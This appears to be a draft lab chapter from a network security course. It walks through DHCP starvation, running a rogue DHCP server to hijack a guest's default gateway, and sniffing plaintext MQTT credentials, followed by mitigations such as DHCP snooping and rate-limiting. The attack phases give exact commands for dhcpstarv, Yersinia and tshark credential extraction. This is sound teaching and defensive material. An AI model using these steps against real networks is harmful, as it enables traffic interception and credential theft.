67 Adversary-in-the-Middle: Gateway Hijacking
Jacob Christensen
DHCP automates the assignment of IP addresses and related network settings to client devices. A DHCP server leases addresses from a configured pool, which is usually a subset of the local subnet. When a new device connects to the network, it broadcasts a DHCPDISCOVER message to locate available DHCP servers. Any server can respond with a DHCPOFFER that includes an IP address, subnet mask, default route, DNS servers, lease time, and other options.
This lab demonstrates how attackers can exploit the DHCP trust model. By exhausting the legitimate server’s available address pool, an attacker can prevent new clients from receiving valid leases. The attacker can then operate a rogue DHCP server that provides clients with malicious network settings, such as a default gateway that redirects outgoing traffic to the attacker’s machine.
Overview
The following steps are to create the baseline for completing the lab. It makes assumptions about the learner’s knowledge from completing previous labs. By the end of this lab, your network should look like the following:

Estimated time for completion: 60 minutes
MITRE ATT&CK
- T1557.003
- Tactics: Credential Access, Collection
- Techniques: Adversary-in-the-Middle (DHCP Spoofing)
- T1040
- Tactics: Credential Access, Discovery
- Techniques: Network Sniffing
LEARNING OBJECTIVES
- Observe DHCP traffic with various tools such as tcpdump and Wireshark
- Describe how DHCP starvation affects network clients
- Explain how a rogue DHCP server can influence packet routing
- Identify mitigation strategies such as DHCP snooping and port security
PREREQUISITES
- Chapter X – blah blah blah
- Chapter X – blah blah blah
- Chapter X – blah blah blah
DELIVERABLES
- Screenshot_1
- Screenshot_2
- Screenshot_3
Phase I – Initial Setup
This lab includes one attacker machine running Kali Linux and two victim endpoints: Guest and Server. All three devices connect to a MikroTik Layer 3 switch (Router CHR), which segments the lab into two VLANs and provides inter-VLAN routing. VLAN 10 is the general user network, while VLAN 20 is the separate server network.
MikroTik switches and routers use the same OS (in this case, MikroTik Router OS 7.16). The physical components of a MikroTik switch are what make it a switch. Before you run out and buy a MikroTik switch to use as a router, note that switches have much slower processors and rely heavily on interface card hardware to achieve high packet speeds.
Endpoint Configuration
| Name | Operating System | vCPU | Memory |
|---|---|---|---|
| L3-Switch | MikroTik RouterOS 7.16 | 1 | 366 MiB |
| Attacker | Kali Linux 2026.1 | 2 | 4 GiB |
| Guest | Ubuntu Desktop 26.04 | 2 | 4 GiB |
| Server | Ubuntu Server 24.04 | 1 | 2 GiB |
Switch Port Configuration
| Interface | Endpoint | VLAN | Port Mode |
|---|---|---|---|
| ether1 | Attacker | 10 | Access |
| ether2 | Guest | 10 | Access |
| ether3 | Server | 20 | Access |
IP Address Assignments
| Endpoint | Network | IP Address | Default Gateway |
|---|---|---|---|
| L3-Switch (VLAN 10) | 10.0.10.0/24 | 10.0.10.254 | N/A |
| L3-Switch (VLAN 20) | 10.0.20.0/24 | 10.0.20.254 | N/A |
| Attacker | 10.0.10.0/24 | DHCP | 10.0.10.254 |
| Guest | 10.0.10.0/24 | DHCP | 10.0.10.254 |
| Server | 10.0.20.0/24 | DHCP | 10.0.20.254 |
Client Software
The following software is required to complete the lab activities. Connect each VM to a NAT cloud in GNS3 to set up an Internet connection.
Alternatively, you can change the network card interface on each VM to NAT and power on the VM OUTSIDE of GNS3. Just don’t forget to set them back to the generic driver when finished. The packages perform the following functions:
- TCPdump – Allows the interception, display, and logging of network traffic passing through the system.
- Wireshark – A network protocol analyzer that allows users to capture and interactively browse the traffic running on a computer network.
- Yersinia – A layer-2 auditing and pen testing framework used to analyze and exploit vulnerabilities.
- Eclipse Mosquitto – An MQTT message broker to connect, route, and manage communications between devices.
apt update && apt -y install <package_name1> <package_name2> <package_name3>
| Endpoint | Packages |
|---|---|
| Attacker | tcpdump, wireshark, yersinia, dhcpstarv |
| Guest | mosquitto-clients |
| Server | mosquitto, mosquitto-clients |
Configure L3-Switch
Remember, the L3-SWITCH is the MikroTik CHR router. Configure the L3-Switch to have VLAN segmentation and to serve as the network’s primary DHCP server.
VLAN Configuration
Create two VLANs, RED_NET (10) and BLUE_NET (20), per the network topology.
- Create a VLAN-aware bridge
/interface/bridge add name=br1
- Configure the switch interfaces as access ports as specified in Node Configuration
/interface/bridge/port
add bridge=br1 interface=ether1 pvid=10
add bridge=br1 interface=ether2 pvid=10
add bridge=br1 interface=ether3 pvid=20 - Define the VLAN membership on the bridge
/interface/bridge/vlan
add bridge=br1 vlan-ids=10 untagged=ether1,ether2 tagged=br1
add bridge=br1 vlan-ids=20 untagged=ether3 tagged=br1 - Assign static IP addresses to each VLAN interface to serve as default gateways
/interface/vlan
add name=RED_NET vlan-id=10 interface=br1
add name=BLUE_NET vlan-id=20 interface=br1/ip/address
add address=10.0.10.254/24 interface=RED_NET
add address=10.0.20.254/24 interface=BLUE_NET - Enable VLAN filtering on the bridge
/interface/bridge set br1 vlan-filtering=yes
DHCP Configuration
- Disable the default DHCP client
/ip/dhcp-client remove [find]
NOTE: Remember to see the list of DHCP clients, use the command
/ip/dhcp-client print
- Configure DHCP pools and network options for both subnets
/ip/pool
add name=RED_POOL ranges=10.0.10.151-10.0.10.200
add name=BLUE_POOL ranges=10.0.20.151-10.0.20.200/ip/dhcp-server
add name=RED_DHCP interface=RED_NET address-pool=RED_POOL
add name=BLUE_DHCP interface=BLUE_NET address-pool=BLUE_POOL/ip/dhcp-server/network
add address=10.0.10.0/24 gateway=10.0.10.254
add address=10.0.20.0/24 gateway=10.0.20.254NOTE: The DHCP pool is intentionally limited to 50 addresses so the starvation attack can be completed in a reasonable amount of time. Larger pools may take significantly longer to exhaust, depending on the DHCP server and lab environment.
Linux Interface Configuration
Configure Attacker and Guest to request IPv4 addresses dynamically using DHCP. This can be done through NetworkManager’s terminal user interface (TUI) or with a command-line interface (CLI). Both methods will be explained here for future reference. In the examples below, the network interface is named enp0s3. Use the interface name shown on your machine.
NOTE: Kali Linux and Ubuntu Desktop use NetworkManager by default, so they can be configured with nmtui or nmcli. Ubuntu Server interfaces are typically managed by Netplan (systemd-networkd) by default, not NetworkManager. Use previous chapters as a reference for configuring DHCP with Netplan.
NetworkManager TUI
- Start NetworkManager’s TUI
nmtui
- Navigate to Edit a Connection

Figure 2 – NetworkManager TUI - Under Ethernet, select the connection associated with the primary network interface, then select <Edit…>

Figure 3 – Selecting network interfaces with NetworkManager - Set IPv4 Configuration to Automatic, then click OK

Figure 4 – Configuring network interface as a DHCP client - From the interface list, select Back to return to the main menu, then select Activate a connection
- Cycle the connection to request a new DHCP lease by pressing Deactivate to disable the interface, then pressing Activate to bring it back up

Figure 5 – Deactivating the network interface - From the interface menu, select Back, then Quit to return to the terminal
- After the DHCP server is online, verify that the client received an IPv4 address
ip -c -br a
NetworkManager CLI
- Return to the Guest machine and display the NetworkManager connection profiles, and note the connection name associated with the Ethernet interface
nmcli connection show

Figure 6 – Listing available connection profiles - Set the IPv4 method to Automatic
nmcli connection modify “netplan-enp0s3” ipv4.method auto
- Cycle the connection to request a new DHCP lease
nmcli connection down “netplan-enp0s3”
nmcli connection up “netplan-enp0s3”
- After the DHCP server is online, verify that the client received an IPv4 address
ip -c -br a
Verify Network Connectivity
The Attacker and Guest should receive addresses in VLAN 10, while the Server should receive an address in VLAN 20. To verify VLAN routing is working correctly, all three endpoints should be able to ping each other. The following table shows the IP address assignments used for the rest of this lab; adjust as necessary to match your environment.
| Endpoint | DHCP Address Assignment |
|---|---|
| Attacker | 10.0.10.200 |
| Guest | 10.0.10.199 |
| Server | 10.0.20.200 |
- Return to the MikroTik switch and list the current addresses that have been leased
/ip/dhcp-server/lease print

Figure 7 – Current DHCP leases - Return to the Guest and check that the default gateway of Guest points to the switch’s VLAN 10 interface
ip route show default

Figure 8 – L3-Switch gateway assigned - Ensure that the Attacker can ping both the Guest and the Server
fping -I eth0 10.0.10.199 10.0.20.200

Figure 9 – Network is connected
NOTE: fping is used when there are multiple targets, but you can ping each target individually.
Phase II – Network Takeover
Exploit the trust in the DHCP protocol to gain visibility into egress network traffic.
Prepare the guest for the exploit
Forcing a Linux client to send a fresh DHCPDISCOVER can be difficult because both the DHCP server and client cache previously assigned addresses. Overwriting both caches can take quite a while, so to speed things up, this step is essential for the Guest to accept an address from the rogue DHCP server without waiting for leases to expire.
- In the L3-Switch, manually delete the Guest DHCP entry
/ip/dhcp-server/lease remove [find host-name=Guest]
- Return to Guest and disable Guest‘s network interface
nmcli device disconnect enp0s3
- To prevent the Guest OS from requesting the same address, clear NetworkManager’s lease cache
sudo -i
rm /var/lib/NetworkManager/*.lease
exit
NOTE: List the directory to ensure that all .lease files have been removed.
- Stop NetworkManager
systemctl stop NetworkManager.service
DHCPStarv
DHCPStarv is a security auditing tool designed to exhaust a DHCP server’s available lease pool by requesting leases using many spoofed client MAC addresses. The time required to starve a target server varies with network speed, server performance, and the size of the address pool, and can take several minutes.
- As Attacker, run DHCPStarv on the primary network interface. Use the -e option to ignore DHCPOFFER replies from its own IP address to avoid attacking our own rogue DHCP server configured later in the lab
sudo dhcpstarv -i eth0 -e 10.0.10.200

Figure 10 – Attacking the DHCP server’s lease pool - After a few minutes, navigate to the Layer3 Switch and check the lease count for RED_DHCP. When the count reaches 50, the pool has been exhausted, and new clients will no longer receive leases from L3-Switch
/ip/dhcp-server/lease print count-only where server=RED_DHCP

Figure 11 – Lease pool exhausted - Leave DHCPStarv running in the background to grab any freed leases from the server
Yersinia
Yersinia is a security tool that supports a variety of Layer 2 network attacks. One of these attacks is configuring a rogue DHCP server to serve clients after the primary server has exhausted its address pool.
- In the Attacker, start Yersinia in Interactive Mode
sudo yersinia -I

Figure 12 – Yersinia’s default view - Press G to display the list of protocols you can target and select DHCP
- Press X to view available DHCP attacks and choose 2 to create a rogue DHCP server
- Fill in the parameters for the new DHCP server as shown below. The router and server ID should match the IP address assigned to the Attacker
Parameter Value Server ID 10.0.10.200 Start IP 10.0.10.50 End IP 10.0.10.60 Lease Time 3600 Renew Time 3600 Subnet Mask 255.255.255.0 Router 10.0.10.200 DNS Server 10.0.10.200 Domain hacked.net 
Figure 13 – Configuring a rogue DHCP server - Press enter to continue
- Restart NetworkManager in Guest to send a fresh DHCPDISCOVER
systemctl start NetworkManager.service
- After a few seconds, check if the default gateway has changed to Attacker‘s address

Figure 14 – Malicious gateway received
NOTE: If the Guest is still receiving a legitimate IP address from the switch, clear the local leases, delete the IP-MAC binding, and reboot Guest. Additionally, you might need to restart Yersinia’s DHCP server. Multiple attempts could be necessary for a successful attack.
Phase III – Traffic Interception
Since Guest’s default gateway is now directed to the Attacker, all outbound traffic from the VLAN can be inspected.
ICMP Redirects
ICMP redirects, as described in RFC 792, are Type 5 ICMP messages used by routers to tell a host that a better next hop exists for a destination.
In this lab, the Guest‘s default gateway is changed to the Attacker’s IP address. Because the legitimate gateway through the L3 switch is still reachable on the same VLAN, the Attacker will send ICMP redirects to other nodes telling the Guest to use the L3-Switch gateway instead. We do not want this, because this update would bypass the Attacker and interfere with our intended traffic interception.
- To prevent the Attacker from sending ICMP redirects, open another terminal in the Attacker and change the following kernel settings
sudo sysctl --write net.ipv4.conf.all.send_redirects=0 sudo sysctl --write net.ipv4.conf.default.send_redirects=0 sudo sysctl --write net.ipv4.conf.eth0.send_redirects=0
- Now flush Attacker‘s route cache to remove any saved redirects
sudo sysctl --write net.ipv4.route.flush=1
- Try pinging the Server from the Guest

Figure 15 – Inter-VLAN ping failure - The Guest cannot ping the server because the default path is to the Attacker, and we have not configured the Attacker for packet forwarding, so the receiving NIC drops the packets. However, sniffing traffic on Attacker shows packets from Guest are being received as demonstrated below
sudo tcpdump -n icmp

Figure 16 – TCPDump traffic inspection
IP Forwarding
- Check whether IP forwarding is active on Attacker (1 = enabled, 0 = disabled)
cat /proc/sys/net/ipv4/ip_forward
- Enable IP forwarding
sudo sysctl --write net.ipv4.ip_forward=1
- Pinging Server from Guest will now be successful

Figure 17 – Inter-VLAN ping success - On the attacker’s machine, only Type: Echo (ping) requests (8) are visible. ICMP Echo Replies (type 0) are not shown because this attack only allows us to see half of the conversation. This is because the Server‘s gateway still directs traffic to the legitimate router, so response traffic is sent directly to the Guest

Figure 18 – Gateway hijacking established
Phase IV – Demonstrating Credential Theft with MQTT
All of the preparation was so that you could experience stealing plaintext credentials and intercepting other sensitive data transmitted over the network. To illustrate this, we are going to put the Mosquitto software to use. We will configure the Server as an MQTT broker and subscriber, and the Guest as an MQTT publisher. In this example, the broker will use basic password authentication without network encryption.
MQTT – Quick Overview
MQTT is a publish/subscribe model for sending messages over a network. Due to its speed and low overhead, it is commonly used in IoT applications such as sensors sending information to a server. However, MQTT is not secure by default and can easily be misconfigured. The following steps give a quick introduction to setting up an MQTT broker, subscriber, and publisher between two computers. Just enough usefulness for our purposes.
Server MQTT Configuration
- In Server, create a new MQTT user. In this example, the user is “johnB”. When asked, use the password “password123”
sudo mosquitto_passwd -c /etc/mosquitto/passwd johnB
- Set permissions so the Mosquitto (MQTT) daemon can read the password file
sudo chown root:mosquitto /etc/mosquitto/passwd
sudo chmod 640 /etc/mosquitto/passwd - Create the following configuration under /etc/mosquitto/conf.d/mosquitto.conf
listener 1883 0.0.0.0
socket_domain ipv4
allow_anonymous false
password_file /etc/mosquitto/passwd - Restart the broker to apply configuration changes
systemctl restart mosquitto.service
- Start a new subscriber session to listen on localhost on an arbitrary topic using the credentials set earlier
mosquitto_sub -u <username> -P <password> -h 127.0.0.1 -t “<some_topic>”

Figure 19 – Starting an MQTT subscriber
Guest MQTT Configuration
- In Guest, publish a message to the broker on the same topic as the subscriber using the credentials setup earlier
mosquitto_pub -u <username> -P <password> -h <ip_addr> -t “<some_topic>” -m “<some_message>”

Figure 20 – Sending a message over MQTT protocol - Looking at Server‘s subscriber session, you should see the message come through

Figure 21 – Receiving an MQTT message
Hacking MQTT
- Publish a message from Guest and intercept it. Use tshark to analyze packets efficiently. Although only half the conversation is captured, Attacker can see session credentials and messages sent over the network. On the Attacker, start tshark:
tshark -i eth0 -n -Y ‘mqtt’

Figure 22 – Half of MQTT session - Extract the username and password used by Guest
tshark -i eth0 -n -Y ‘mqtt.msgtype==1’ -T fields -e ‘mqtt.username’ -e ‘mqtt.passwd’

Figure 23 – Intercepting the MQTT session username and password - Extract the message that was published to the broker
tshark -i eth0 -n -Y ‘mqtt.msgtype==3’ -T fields -e ‘mqtt.msg’

Figure 24 – Extract MQTT message - Decode the captured message from hexadecimal
echo ‘<string>’ | xxd -r -p

Figure 25 – Decoding the MQTT message from hexadecimal
Phase V – Mitigations
DHCP Snooping
To prevent rogue DHCP attacks, many managed switches include a security feature called DHCP snooping. This feature permits DHCP server messages only from trusted ports. If an untrusted port attempts to send DHCP server responses, such as DHCPOFFER or DHCPACK packets, those packets are discarded. While DHCPDISCOVER packets from clients must still be allowed, they will only be forwarded through trusted ports.
In larger networks, access ports should normally remain untrusted, while uplinks or ports leading to the legitimate DHCP server(s) should be marked as trusted. In this lab, the MikroTik switch itself is the DHCP server, so the access ports connected to Attacker, Guest, and Server should remain untrusted. This prevents Attacker from successfully acting as a rogue DHCP server.
- On L3-Switch, enable DHCP snooping on the bridge
/interface/bridge set br1 dhcp-snooping=yes
- Bridge ports are typically untrusted by default. However, the following commands show how to explicitly enable this setting
/interface/bridge/port
set [find interface=ether1] trusted=no
set [find interface=ether2] trusted=no
set [find interface=ether3] trusted=no - With DHCP snooping enabled, repeat the steps from the previous sections to attack the network; you should see that Guest will no longer receive malicious leases from Attacker. Even if the RED_DHCP server was disabled, the attack would still fail
/ip/dhcp-server set RED_DHCP disabled=yes
- Monitor the switch interfaces linked to Guest and Attacker to identify where DHCP packets are received. Observe that messages are only coming from ether2 (Guest), while no responses are received from ether1 (Attacker)
/tool/sniffer quick interface=ether1,ether2 port=67,68

Figure 26 – DHCP Snooping security measure stopping rogue servers - For reference, here is what this looks like with DHCP snooping disabled

Figure 27 – Example packet flow with DHCP snooping disabled
NOTE: Some switch vendors, such as Cisco, also support DHCP snooping checks that drop packets when the client MAC address in the DHCP payload does not match the Ethernet source MAC address. This helps mitigate tools like DHCPStarv that spoof DHCP client values without altering the frame’s Layer 2 address.
Network Filtering
DHCP snooping mitigates rogue DHCP server attacks; however, it does not prevent a threat actor from starving a DHCP server. While RouterOS does not have native features to prevent DHCP exhaustion, we can write firewall rules to rate-limit DHCPDISCOVER packets, slowing an attacker down. Additionally, we will log violations of this rule to detect when this attack is occurring.
- Enable IP firewall filtering on the bridge
/interface/bridge/settings
set use-ip-firewall=yes
set use-ip-firewall-for-vlan=yes - Add new filter rules
/ip/firewall/raw
- Rule 1 — Allow a client’s DHCP packet to be received at a maximum rate of 1 packet per second, with an initial burst of 5 packets
add chain=prerouting action=accept in-interface=RED_NET protocol=udp dst-port=67 limit=1,5:packet
- Rule 2 — If the rate exceeds the limits of the previous rule, discard the packet and record the event in MikroTik’s log
add chain=prerouting action=drop in-interface=RED_NET protocol=udp dst-port=67 log=yes log-prefix=”POSSIBLE_DHCP_ABUSE”
- Perform another DHCP starvation attack and review the L3-Switch‘s logs to confirm that excessive DHCP traffic is being detected. These logs could also be forwarded to a syslog server or SIEM so that security analysts can be alerted to possible DHCP abuse
/log print follow where message~”POSSIBLE_DHCP_ABUSE”

Figure 28 – Log messages alerting to DHCP pool exhaustion attack - After the attack occurs, view the firewall rule statistics to see how many packets were accepted and how many were dropped. This provides a simple way to measure the effectiveness of the mitigation
/ip/firewall/raw print stats

Figure 29 – Packets dropped from firewall rules
The impact of these settings does not prevent the server from exhausting its address pool; rather, it just slows the attacker down. The following animation shows the rate at which DHCPDISCOVER packets are sent before the firewall rules are applied (roughly 3 packets/second).

The next animation shows the effect after the firewall rules are applied. After the first five DHCPDISCOVER packets are sent, the rate limit is reached, and subsequent packets are throttled to roughly 2 every 3 seconds.
